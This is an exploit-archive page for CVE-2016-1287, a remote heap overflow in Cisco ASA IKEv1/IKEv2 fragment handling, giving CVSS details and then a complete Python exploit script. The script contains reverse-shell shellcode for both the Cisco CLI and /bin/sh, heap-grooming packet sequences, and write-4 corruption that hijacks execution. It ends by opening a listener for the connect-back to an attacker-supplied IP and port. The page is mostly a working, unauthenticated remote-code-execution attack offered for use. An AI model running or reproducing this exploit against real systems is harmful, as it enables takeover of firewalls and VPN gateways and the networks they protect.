Cisco ASA Software 8.x / 9.x - IKEv1 and IKEv2 Buffer Overflow

Published
Credit
Risk
2016.05.20
Exodus Intelligence
High
CWE
CVE
Local
Remote
N/A
CVE-2016-1287
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
10/10
10/10
10/10
Exploit range
Attack complexity
Authentication
Remote
Low
No required
Confidentiality impact
Integrity impact
Availability impact
Complete
Complete
Complete

#!/usr/bin/env python2.7

import socket
import sys
import struct
import string
import random
import time



# Spawns a reverse cisco CLI
cliShellcode = (
"\x60\xc7\x02\x90\x67\xb9\x09\x8b\x45\xf8\x8b\x40\x5c\x8b\x40\x04"
"\x8b\x40\x08\x8b\x40\x04\x8b\x00\x85\xc0\x74\x3b\x50\x8b\x40\x08"
"\x8b\x40\x04\x8d\x98\xd8\x00\x00\x00\x58\x81\x3b\xd0\xd4\x00\xe1"
"\x75\xe4\x83\x7b\x04\x31\x74\xde\x89\xd8\x2d\x00\x01\x00\x00\xc7"
"\x40\x04\x03\x01\x00\x00\xc7\x40\x0c\xd0\x00\x00\x00\xc7\x80\xf8"
"\x00\x00\x00\xef\xcd\x1c\xa1\x55\x31\xed\x31\xff\x4f\xbe\x22\x00"
"\x00\x00\xba\x07\x00\x00\x00\xb9\x00\x10\x00\x00\x31\xdb\xb8\xc0"
"\x00\x00\x00\xcd\x80\x5d\x89\xc7\xeb\x26\x5e\xb9\x00\x04\x00\x00"
"\xf3\xa5\x31\xdb\x6a\x03\x68\x00\x20\x00\x00\x53\x50\x68\xfd\xa8"
"\xff\x09\xb8\xf0\xb7\x06\x08\xff\xd0\x83\xc4\x14\x61\x31\xc0\xc3"
"\xe8\xd5\xff\xff\xff\x55\x89\xe5\x81\xec\x10\x04\x00\x00\xe9\xb1"
"\x00\x00\x00\x58\x89\x85\xfc\xfb\xff\xff\x50\xb8\xf0\x07\x07\x08"
"\xff\xd0\x83\xc4\x04\x89\x85\xf8\xfb\xff\xff\x89\xc3\x8b\x43\x04"
"\x68\x80\xee\x36\x00\x68\x1a\x90\x01\x00\x53\xff\x50\x70\xc7\x44"
"\x24\x04\x20\x90\x01\x00\x8b\x43\x04\xff\x50\x70\xc7\x85\xf4\xfb"
"\xff\xff\x00\x40\x00\x00\x8d\x8d\xf4\xfb\xff\xff\x89\x4c\x24\x08"
"\xc7\x44\x24\x04\x21\x90\x01\x00\x89\x1c\x24\x8b\x43\x04\xff\x50"
"\x70\xbe\xc8\xef\xff\xff\x65\x8b\x06\x89\x98\x98\x00\x00\x00\xeb"
"\x3a\xb8\x80\x0a\x0f\x08\xff\xd0\x5b\xc7\x43\x0c\xff\xff\xff\x17"
"\x83\xc3\x14\xc7\x03\x65\x6e\x61\x62\xc7\x43\x04\x6c\x65\x5f\x31"
"\xc7\x43\x08\x35\x00\x00\x00\x6a\x04\x68\x60\xc1\x52\x0a\xb8\x20"
"\x68\x0f\x08\xff\xd0\x89\xec\x5d\x31\xc0\xc3\xe8\xc1\xff\xff\xff"
"\x60\xc1\x52\x0a\xe8\x4a\xff\xff\xfftcp/CONNECT/3/@IP@/@PORT@\x00"
)

# Spawns a reverse "/bin/sh"
shShellcode = (
"\x60\xc7\x02\x90\x67\xb9\x09\x8b\x45\xf8\x8b\x40\x5c\x8b\x40\x04"
"\x8b\x40\x08\x8b\x40\x04\x8b\x00\x85\xc0\x74\x3b\x50\x8b\x40\x08"
"\x8b\x40\x04\x8d\x98\xd8\x00\x00\x00\x58\x81\x3b\xd0\xd4\x00\xe1"
"\x75\xe4\x83\x7b\x04\x31\x74\xde\x89\xd8\x2d\x00\x01\x00\x00\xc7"
"\x40\x04\x03\x01\x00\x00\xc7\x40\x0c\xd0\x00\x00\x00\xc7\x80\xf8"
"\x00\x00\x00\xef\xcd\x1c\xa1\xb8\x40\xbc\x2a\x09\xff\xd0\x61\xb8"
"\x02\x00\x00\x00\xcd\x80\x85\xc0\x0f\x85\xa1\x01\x00\x00\xba\xed"
"\x01\x00\x00\xb9\xc2\x00\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x74"
"\x6d\x70\x8d\x1c\x24\xb8\x05\x00\x00\x00\xcd\x80\x50\xeb\x31\x59"
"\x8b\x11\x8d\x49\x04\x89\xc3\xb8\x04\x00\x00\x00\xcd\x80\x5b\xb8"
"\x06\x00\x00\x00\xcd\x80\x8d\x1c\x24\x31\xd2\x52\x53\x8d\x0c\x24"
"\xb8\x0b\x00\x00\x00\xcd\x80\x31\xdb\xb8\x01\x00\x00\x00\xcd\x80"
"\xe8\xca\xff\xff\xff\x46\x01\x00\x00\x7f\x45\x4c\x46\x01\x01\x01"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x03\x00\x01\x00\x00"
"\x00\x54\x80\x04\x08\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x34\x00\x20\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00"
"\x00\x00\x00\x00\x00\x00\x80\x04\x08\x00\x80\x04\x08\xf2\x00\x00"
"\x00\xf2\x00\x00\x00\x07\x00\x00\x00\x00\x10\x00\x00\x55\x89\xe5"
"\x83\xec\x10\x6a\x00\x6a\x01\x6a\x02\x8d\x0c\x24\xbb\x01\x00\x00"
"\x00\xb8\x66\x00\x00\x00\xcd\x80\x83\xc4\x0c\x89\x45\xfc\x68\x7f"
"\x00\x00\x01\x68\x02\x00\x04\x38\x8d\x14\x24\x6a\x10\x52\x50\x8d"
"\x0c\x24\xbb\x03\x00\x00\x00\xb8\x66\x00\x00\x00\xcd\x80\x83\xc4"
"\x14\x85\xc0\x7d\x18\x6a\x00\x6a\x01\x8d\x1c\x24\x31\xc9\xb8\xa2"
"\x00\x00\x00\xcd\x80\x83\xc4\x08\xeb\xc4\x8b\x45\xfc\x83\xec\x20"
"\x8d\x0c\x24\xba\x03\x00\x00\x00\x8b\x5d\xfc\xc7\x01\x05\x01\x00"
"\x00\xb8\x04\x00\x00\x00\xcd\x80\xba\x04\x00\x00\x00\xb8\x03\x00"
"\x00\x00\xcd\x80\xc7\x01\x05\x01\x00\x01\xc7\x41\x04\x0a\x64\x00"
"\x01\x66\xc7\x41\x08\x11\x5c\xba\x0a\x00\x00\x00\xb8\x04\x00\x00"
"\x00\xcd\x80\xba\x20\x00\x00\x00\xb8\x03\x00\x00\x00\xcd\x80\x83"
"\xc4\x20\x8b\x5d\xfc\xb9\x02\x00\x00\x00\xb8\x3f\x00\x00\x00\xcd"
"\x80\x49\x7d\xf6\x31\xd2\x68\x2d\x69\x00\x00\x89\xe7\x68\x2f\x73"
"\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\x57\x53\x8d\x0c\x24\xb8"
"\x0b\x00\x00\x00\xcd\x80\x31\xdb\xb8\x01\x00\x00\x00\xcd\x80\x31"
"\xc0\xc3"
)


# SA Session
class Session(object):
def __init__(self, host_port, id = None):
if id == None:
id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))

self._host, self._port = host_port
self._sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self._id = id
self._mid = 1


# Init session
print("[+] Using session ID: " + self._id)
self.send(self.make_SA())

# Check if we got something
res = self.recv()
cookie = res[8:16]
print("[+] Cookie: " + cookie)

self._cookie = cookie

# Enforce value of 0x21
if ord(res[16]) != 0x21:
raise Exception("Invalid router response")

print("[+] New SA successfuly created.")


# UPD socket helpers
def send(self, buf):
self._sock.sendto(buf, (self._host, self._port))

def recv(self, size = 4096):
data, addr = self._sock.recvfrom(size)
return data

def make_SA(self):
buf = ""
buf += self._id # Initiator SPI
buf += "\x00"*8 # Responder SPI
buf += "\x21" # next payload (security association)
buf += "\x20" # version
buf += "\x22" # exchange type
buf += "\x08" # flags
buf += "\x00"*4 # message ID
buf += "$$$$" # length

# stolen from pcap
# THIS IS SECURITY ASSOCIATION
buf += "\x22\x00\x00\x6c\x00\x00\x00\x68\x01\x01\x00\x0b\x03\x00\x00\x0c\x01\x00\x00\x0c\x80\x0e\x01\x00\x03\x00\x00\x0c\x01\x00\x00\x0c\x80\x0e\x00\x80\x03\x00\x00\x08\x01\x00\x00\x03\x03\x00\x00\x08\x01\x00\x00\x02\x03\x00\x00\x08\x02\x00\x00\x02\x03\x00\x00\x08\x02\x00\x00\x01\x03\x00\x00\x08\x03\x00\x00\x02\x03\x00\x00\x08\x03\x00\x00\x01\x03\x00\x00\x08\x04\x00\x00\x02\x03\x00\x00\x08\x04\x00\x00\x05\x00\x00\x00\x08\x04\x00\x00\x0e"

# THIS IS KEY EXCHANGE
# this is the type of the next payload...
buf += "\x28" # 0x28 = Nonce, 0x2b = vendor ID
# KEY EXCHANGE DATA
buf += "\x00\x00\x88\x00\x02\x00\x00\x50\xea\xf4\x54\x1c\x61\x24\x1b\x59\x3f\x48\xcb\x12\x8c\xf1\x7f\x5f\xd4\xd8\xe9\xe2\xfd\x3c\x66\x70\xef\x08\xf6\x56\xcd\x83\x16\x65\xc1\xdf\x1c\x2b\xb1\xc4\x92\xca\xcb\xd2\x68\x83\x8e\x2f\x12\x94\x12\x48\xec\x78\x4b\x5d\xf3\x57\x87\x36\x1b\xba\x5b\x34\x6e\xec\x7e\x39\xc1\xc2\x2d\xf9\x77\xcc\x19\x39\x25\x64\xeb\xb7\x85\x5b\x16\xfc\x2c\x58\x56\x11\xfe\x49\x71\x32\xe9\xe8\x2d\x27\xbe\x78\x71\x97\x7a\x74\x42\x30\x56\x62\xa2\x99\x9c\x56\x0f\xfe\xd0\xa2\xe6\x8f\x72\x5f\xc3\x87\x4c\x7c\x9b\xa9\x80\xf1\x97\x57\x92"

# this is the Nonce payload
buf += "\x2b"
buf += "\x00\x00\x18\x97\x40\x6a\x31\x04\x4d\x3f\x7d\xea\x84\x80\xe9\xc8\x41\x5f\x84\x49\xd3\x8c\xee"
# lets try a vendor id or three
buf += "\x2b" # next payload, more vendor ID
buf += "\x00" # critical bit
vid = "CISCO-DELETE-REASON"
buf += struct.pack(">H", len(vid)+4)
buf += vid

# another vendor id
buf += "\x2b" # next payload, more vendor ID
buf += "\x00" # critical bit
vid = "CISCO(COPYRIGHT)&Copyright (c) 2009 Cisco Systems, Inc."
buf += struct.pack(">H", len(vid)+4)
buf += vid

# another vendor id
buf += "\x2b" # next payload, more vid
buf += "\x00" # crit
vid = "CISCO-GRE-MODE"
buf += struct.pack(">H", len(vid)+4)
buf += vid

# last vendor id
buf += "\x00" # next payload
buf += "\x00"
vid = "\x40\x48\xb7\xd5\x6e\xbc\xe8\x85\x25\xe7\xde\x7f\x00\xd6\xc2\xd3"
buf += struct.pack(">H", len(vid)+4)
buf += vid

return buf.replace("$$$$", struct.pack(">L", len(buf)))

def make_cisco_fragment(self, flength, seqno, fragid, lastfrag, sploit):
buf = ''
buf += self._id # Initiator SPI (random)
buf += self._cookie # Responder SPI
buf += "\x84" # next payload
buf += "\x20" # version
buf += "\x25" # exchange type (2=identify protection)
buf += "\x08" # flags
buf += "\x00\x00\x00\x01" # message ID
buf += "ABCD" # length

# PAYLOAD
payload = ""
payload += "\x00" # next payload (none)
payload += "\x00" # critical bit
payload += struct.pack(">H", flength) #payload_len) # length
payload += struct.pack(">H", fragid) # frag ID
payload += struct.pack("B", seqno) # frag sequence
payload += struct.pack("B", lastfrag)
payload += sploit

buf += payload
return buf.replace("ABCD", struct.pack(">L", len(buf)))


def send_fragment(self, flength, seqno, fragid, lastfrag, sploit):
buf = self.make_cisco_fragment(flength, seqno, fragid, lastfrag, sploit)
self.send(buf)

# We're not supposed to receive anything if everything went
# according to plan

def make_cisco_option_list(self, opt_lst):
buf = ''
buf += self._id # Initiator SPI (random)
buf += self._cookie # Responder SPI
buf += "\x2f" # next payload
buf += "\x20" # version
buf += "\x25" # exchange type (2=identify protection)
buf += "\x08" # flags
buf += struct.pack(">I", 1) # message ID
buf += "ABCD" # length

# PAYLOAD
payload = ""
payload += "\x00" # next payload (none)
payload += "\x00" # critical bit
payload += "EF" #payload_len) # length
payload += "\x03" # CFG_SET
payload += "\x00\x00\x00" # Reserved

total = 0x8
for size, n in opt_lst:
option = struct.pack(">H", 0x6000) #id
option += struct.pack(">H", size) # data length
option += "A" * (size)

total += (size + 4) * n
payload += option * n
buf += payload


packet = buf.replace("ABCD", struct.pack(">L", len(buf))).replace("EF", struct.pack(">H", total))

return packet


class Exploit(object):
def __init__(self, host, revHost, revPort = 4444):
self._host = host
self._port = 500
self._revHost = revHost
self._revPort = revPort
self._sessions = []


# Create a new SA session
def create_SA(self, id = None):

# Create a new socket for session
sess = Session((self._host, self._port), id)

# Append to session list
self._sessions.append(sess)

return sess


# Interact with reverse shell
def interact(self):
from telnetlib import Telnet

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

s.bind((self._revHost, self._revPort))
s.listen(5)
cli = s.accept()[0]
s.close()
print("[+] Got connect-back")

t = Telnet()
t.sock = cli
t.interact()

def buildPayload(self, cli = False):
if cli == False:
buf = bytearray(shShellcode)
# Adjust IP and port
buf[0x1ad:0x1b1] = socket.inet_aton(self._revHost)
buf[0x1b5:0x1b7] = struct.pack(">H", self._revPort)
Shellcode = bytes(buf)
else:
Shellcode = cliShellcode.replace("@IP@", self._revHost).replace("@PORT@", str(self._revPort))

return Shellcode


if __name__ == "__main__":
if len(sys.argv) < 3:
print("[+] Usage: {0:s} <cisco IP> <attacker IP>[:port]".format(sys.argv[0]))
sys.exit(0)

#TODO: Check host
host = sys.argv[1]
revHost = sys.argv[2]

# Parse revHost
port = 4444
if revHost.rfind(":") != -1:
revHost, port = revHost.split(":")
port = int(port)

exploit = Exploit(host, revHost, port)
sess1 = exploit.create_SA()
sess2 = exploit.create_SA()

n = 0xd6
sess2.send_fragment(0x8 + n + 3, 1, 5, 0, "A" * (n + 3))

# Send packets which will trigger the vulnerability
# Weird packet to get a size of 0x1
sess2.send_fragment(8 + -7, 0, 6, 1, "A" * (256 - 7))

# This fragment will be the one being copied
# during the memory corruption
buf = "A" * (n - 0xd + 0x3)
buf += struct.pack("<I", 0xef000000)
buf += struct.pack("<I", 0x00a11ccd) # chunk magics
buf += struct.pack("<I", 0xe100d4d0)
buf += struct.pack("B", 0x61) # set size from 0x31 to 0x61 in order to encompass the
# adjacent chunk on free
sess2.send_fragment(8 + n + 3, 1, 6, 0, buf)


sess1.send_fragment(0x8 + 0xf8, 1, 0xeb, 0, "A" * 0xf8)
pkt = sess1.make_cisco_option_list((
(0xd0, 0x30),
)
)

# Defragment heap
sess1.send(pkt)
sess1.send(pkt)
sess1.send(pkt)

# Prepare a fake chunk
buf = ""
buf += struct.pack("<I", 0x60)
buf += struct.pack("<I", 0x102)
buf += struct.pack("<I", 0xa11c0123)
buf += struct.pack("<I", 0xe0)
buf += "A" * 0xe8

# And allocate it right after a 0x100 bytes hole
sess1.send_fragment(0x8 + 0xf8, 2, 0xeb, 0, buf)

# Trigger the overflow
sess2.send_fragment(8 + -7, 3, 6, 1, "A" * (256 - 7))

# Retrieve of fake freed block
#buf = "\xcc" * (0xd0 - len(buf))
buf = "\x00" * 0xd0


buf += struct.pack("<I", 0xe100d4d0)
buf += struct.pack("<I", 0x31)

# this is a special writable address in the process
# it translate into the following executable code:
# nop / jmp [ecx]
# since ecx happens to hold a pointer to a controlled buffer
# the execution flow will be redirected to attacker controlled data
what = 0xc821ff90

# Just some writable address in the process which doesn't seem to be used
where = 0xc8002000 - 0x8

buf += struct.pack("<I", what)
buf += struct.pack("<I", where)
buf += struct.pack("<I", 0xf3ee0123)
buf += struct.pack("<I", 0x0) * 5
buf += struct.pack("<I", 0x5ee33210)
buf += struct.pack("<I", 0xf3eecdef)
buf += struct.pack("<I", 0x30)
buf += struct.pack("<I", 0x132)
buf += struct.pack("<I", 0xa11c0123)
buf += struct.pack("<I", 0x100)
buf += struct.pack("<I", 0x0) * 2

# Second write-4 pointers
# This is the address of the pointer to the "list_add" function
# which will give us control of execution flow
where = 0x0A99B7A4 - 0x10

# This is the address where the opcode sequence "nop / jmp [ecx]" is located
what = 0xc8002000

buf += struct.pack("<I", what)
buf += struct.pack("<I", where)

buf += "\x00" * (0x128 - len(buf))

# Try to chain a config list and a fragment packet
packet = bytearray()
packet += sess1._id # Initiator SPI (random)
packet += sess1._cookie # Responder SPI
packet += "\x2f" # next payload option list
packet += "\x20" # version
packet += "\x25" # exchange type (2=identify protection)
packet += "\x08" # flags
packet += struct.pack(">I", 1) # message ID
packet += "XXXX" # total length including header

payload = bytearray()
payload += "\x00" # next payload (frag)
payload += "\x00" # critical bit
payload += "\x00\x00" # payload length
payload += "\x03" # CFG_SET
payload += "\x00\x00\x00" # Reserved

size = 0x130
option = struct.pack(">H", 0x8400) #id
option += struct.pack(">H", size) # data length
option += "\x90" * 0x8 + buf

payload += option * 0x10


# Update payload length
payload[2:4] = struct.pack(">H", len(payload))

packet += payload

# Update payload length
packet[0x18:0x1C] = struct.pack(">I", len(packet))


packet = bytes(packet)

# Reallocate the fake freed 0x130 bytes chunk with controlled data
# this way we can perform a write-4 memory corruption when freeing
# the subsequent memory
sess1.send(packet)

time.sleep(0.2)
#raw_input()
packet = bytearray()
packet += sess1._id # Initiator SPI (random)
packet += sess1._cookie # Responder SPI
packet += "\x84" # next payload option list
packet += "\x20" # version
packet += "\x25" # exchange type (2=identify protection)
packet += "\x08" # flags
packet += struct.pack(">I", 1) # message ID
packet += "XXXX" # total length including header

buf = exploit.buildPayload(cli = True)

flength = len(buf) + 0x8
fragid = 0xeb
seqno = 0x5
lastfrag = 0
payload = bytearray()
# Jump over garbage directly into shellcode (interpreted as jmp +0x6)
payload += "\xeb" # next payload (none)
payload += "\x06" # critical bit
payload += struct.pack(">H", flength) #payload_len) # length
payload += struct.pack(">H", fragid) # frag ID
payload += struct.pack("B", seqno) # frag sequence
payload += struct.pack("B", lastfrag)
payload += buf

packet += payload

# Update payload length
packet[0x18:0x1C] = struct.pack(">I", len(packet))


packet = bytes(packet)

# Trigger the 2 write-4 and get code execution
sess1.send(packet)

# Hopefully we'll get something interesting
exploit.interact()


See this note in RAW Version

 
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